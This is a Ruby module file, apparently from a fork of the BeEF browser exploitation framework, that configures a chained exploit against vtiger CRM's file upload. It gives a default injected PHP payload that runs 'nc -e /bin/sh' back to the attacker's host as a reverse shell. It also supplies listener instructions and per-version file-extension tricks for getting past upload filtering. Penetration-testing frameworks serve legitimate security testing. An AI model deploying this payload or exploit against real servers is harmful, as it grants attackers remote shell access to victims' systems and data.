PageRenderTime 51ms CodeModel.GetById 29ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/network/vtiger_crm_upload_exploit/module.rb

https://github.com/asaafan/BeEF
Ruby | 64 lines | 40 code | 9 blank | 15 comment | 3 complexity | a36e3c919dc10cbed150c3a2e12e1b0d MD5 | raw file
  1. #
  2. # Copyright 2011 Wade Alcorn wade@bindshell.net
  3. #
  4. # Licensed under the Apache License, Version 2.0 (the "License");
  5. # you may not use this file except in compliance with the License.
  6. # You may obtain a copy of the License at
  7. #
  8. # http://www.apache.org/licenses/LICENSE-2.0
  9. #
  10. # Unless required by applicable law or agreed to in writing, software
  11. # distributed under the License is distributed on an "AS IS" BASIS,
  12. # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13. # See the License for the specific language governing permissions and
  14. # limitations under the License.
  15. #
  16. class Vtiger_crm_upload_exploit < BeEF::Core::Command
  17. def initialize
  18. time = Time.new
  19. weekno = case time.day
  20. when 1..7 then 1
  21. when 8..14 then 2
  22. when 15..21 then 3
  23. when 22..28 then 4
  24. else 5
  25. end
  26. @configuration = BeEF::Core::Configuration.instance
  27. beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
  28. super({
  29. 'Name' => 'VTiger CRM Upload Exploit',
  30. 'Description' => 'This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability is exploited in the CRM <a href="http://www.vtiger.com/">vtiger 5.0.4</a><br />The default PHP requires a listener, so don\'t forget to start one, for example: nc -l 8888. <br><br>vTigerCRM 5.0.4: Use extension "PHP" and php code.<br>vTigerCRM 5.2.0: Use extension "phtml" and php code.<br>vTigerCRM 5.2.1: Use extensions "shtml" and SSI code.',
  31. 'Category' => 'Network',
  32. 'Author' => ['wade', 'bm', 'pipes', 'xntrik', 'yorikv'],
  33. 'Data' =>
  34. [
  35. {'name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'},
  36. {'name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'},
  37. {'name'=>'mal_filename','ui_label'=>'Malicious Filename','value'=>rand(32**10).to_s(32),'width'=>'400px'},
  38. {'name'=>'mal_ext','ui_label'=>'Malicious File Extension','value'=>'PHP','width'=>'400px'},
  39. {'name'=>'vtiger_php','ui_label'=>'Injected PHP (must escape single quotes)','value'=>'<?php passthru("/bin/nc -e /bin/sh '+beef_host+' 8888"); ?>','type'=>'textarea','width'=>'400px','height'=>'100px'},
  40. {'name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000'}
  41. ],
  42. 'File' => __FILE__
  43. })
  44. set_target({
  45. 'verified_status' => VERIFIED_WORKING,
  46. 'browser_name' => ALL
  47. })
  48. use 'beef.net.local'
  49. use_template!
  50. end
  51. def callback
  52. return if @datastore['result'].nil?
  53. save({'result' => @datastore['result']})
  54. end
  55. end